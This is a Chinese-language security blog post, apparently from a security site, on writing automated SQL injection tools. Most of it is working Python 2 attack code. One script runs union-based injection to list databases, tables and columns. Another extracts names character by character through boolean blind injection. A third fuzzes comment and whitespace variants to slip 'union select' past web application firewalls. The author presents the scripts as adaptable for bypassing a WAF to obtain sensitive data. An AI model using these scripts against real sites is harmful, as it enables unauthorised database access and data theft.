如何编写一个SQL注入工具

2020-02-25 6,073

0x01  前言

  一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单、最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以。

0x02 SQL注入工具

A、联合查询

union select 实现起来最为简单,报错注入的实现方式也基本一致,主要思路:获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名。

 代码详情:

#! /usr/bin/env python# _*_  coding:utf-8 _*_import requestsimport urllibimport revalues={}
def get(url,values):    data = urllib.urlencode(values)    geturl = url+'?'+data    response = requests.get(geturl)    result=response.content    find_list=re.findall(r"qwe~(.+?)~qwe", result)    if len(find_list)>0:        return find_list
def get_database_name(url):    values['id'] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA"    name_list=get(url,values)    print 'The databases:'    for i in name_list:        print i+" ",    print "\n"def table_name(url):    database_name=raw_input('please input your database:')    values['id'] = "1  union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"'"+database_name+"'"    name_list=get(url,values)    print 'The table is :'    for i in name_list:        print i+" ",    print "\n"def column_name(url):    table_name=raw_input('please input your table:')    values['id'] = "1   union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"'"+table_name+"'"    name_list=get(url,values)    print 'The column is :'    for i in name_list:        print i+" ",if __name__ == '__main__':    url='http://192.168.106.130/config/sql.php'    get_database_name(url)    table_name(url)    column_name(url)

运行效果:

 B、盲注

  盲注的脚本,但总感觉代码不过简洁,越简单越好,可以把局部代码直接拿出来用,简单修改payload就可以获取数据,基于布尔盲注,GET,写的一个简单的注入脚本。

主要思路:获取当前数据库名--选择数据库--获取这个数据库有几个表--依次获取每个表的长度--依次获取获取表名--依次获取每个表的长度、列名。

#! /usr/bin/env python# _*_  coding:utf-8 _*_import requestsimport urllibimport timestart_time = time.time()def database_length(url):    values={}    for i in range(1,100):        values['id'] = "1 and (select length(database()))=%s" %i        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return i
def database_name(url):    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'    values={}    databasename= ''    aa = 15    aa = database_length(url)    for i in range(1, aa+1):        for payload in payloads:            values['id'] = "1 and ascii(substring(database(),%s,1))=%s " %(i,ord(payload))            data = urllib.urlencode(values)            geturl = url+'?'+data            response = requests.get(geturl)            if response.content.find('qwertyasd')>0:                databasename += payload    return databasename#print database_name('http://192.168.125.129/config/sql.php')
def table_count(url,database):    values={}    for i in range(1,100):        values['id'] = "1 and (select count(table_name) from information_schema.tables where table_schema="+"'"+database+"')"+"=%s" %i        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return idef table_length(url,a,database):    values={}    for i in range(1,100):        values['id'] = "1 and (select length(table_name) from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1)=%s" %(a,i)        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return idef table_name(url,database):    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'    values={}    table_name=[]    bb = table_count(url,database)    for i in range(0,bb+1):        user= ''        cc=table_length(url,i,database)        if cc==None:            break        for j in range(0,cc+1):            for payload in payloads:                values['id'] = "1 and ascii(substring((select table_name from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1),%s,1))=%s " %(i,j,ord(payload))                data = urllib.urlencode(values)                geturl = url+'?'+data                response = requests.get(geturl)                if response.content.find('qwertyasd')>0:                    user += payload                    #print payload        table_name.append(user)    return table_name    #print table_name('http://192.168.125.129/config/sql.php','test')

def column_count(url,table_name):    values={}    for i in range(1,100):        values['id'] = "1 and (select count(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+")=%s" %i        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return idef column_length(num,url,table_name):    values={}    for i in range(1,100):        limit = " limit %s,1)=%s" %(num,i)        values['id'] = "1 and (select length(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+limit        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return idef column_name(url,table_name):    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'    values={}    column_name=[]    dd=column_count(url,table_name)    for i in range(0,dd+1):        user= ''        bb=column_length(i,url,table_name)        if bb==None:            break        for j in range(0,bb+1):            for payload in payloads:                limit=" limit %s,1),%s,1))=%s" %(i,j,ord(payload))                values['id'] = "1 and ascii(substring((select column_name from information_schema.columns where table_name="+"'"+table_name+"'"+limit                data = urllib.urlencode(values)                geturl = url+'?'+data                response = requests.get(geturl)                if response.content.find('qwertyasd')>0:                    user += payload        column_name.append(user)    return column_name#print column_name('http://192.168.125.129/config/sql.php','admin')

if __name__ == '__main__':    url='http://192.168.125.129/config/sql.php'    databasename=database_name(url)    print "The current database:"+databasename
   database=raw_input("Please input your databasename: ")    tables=table_name(url,database)    print database+" have the tables:",    print tables
   for table in tables:        print table+" have the columns:"        print column_name(url,table)    print 'Use for: %d second' % (time.time() - start_time)

运行效果:

0x03 END

  通过编写简单的SQL注入脚本来获取数据,脚本可容易。遇到WAF拦截时,可灵活调整脚本来绕过WAF获取敏感数据。


附:WAF FUZZ的两个小脚本

第一个:先生成一个字典,带入搭建的环境进行FUZZ,针对某些软WAF挺好用的,可FUZZ出不少姿势出来,记得先把CC攻击加入白名单才行哦。

blob.png


第二个:测试环境搭建好,脚本放着跑,看运气啦。



#! /usr/bin/env python# _*_  coding:utf-8 _*_
import requests
fuzz_dic1 = ['*/','/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']fuzz_dic2 = ['*/','',' ','/*!']fuzz_dic3 = ['/*!',"%a0","0c","%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}url="http://192.168.125.140/php/config/sql.php?id=1"
for i in fuzz_dic1:    for j in fuzz_dic2:        for k in fuzz_dic3:            payload="/*!union"+i+j+k+"select*/ 1,user()"            geturl=url+payload            #print geturl            try:                response=requests.get(url=geturl,headers=headers)                result = response.content                #print result                if result.count('root'):                    print geturl                else:                    print ".",            except:                print "Error"


本文作者:Bypass007

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/123744.html

Tags:
评论  (0)
快来写下你的想法吧!

Bypass007

文章数:94 积分: 218

一个网络安全爱好者,对技术有着偏执狂一样的追求。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号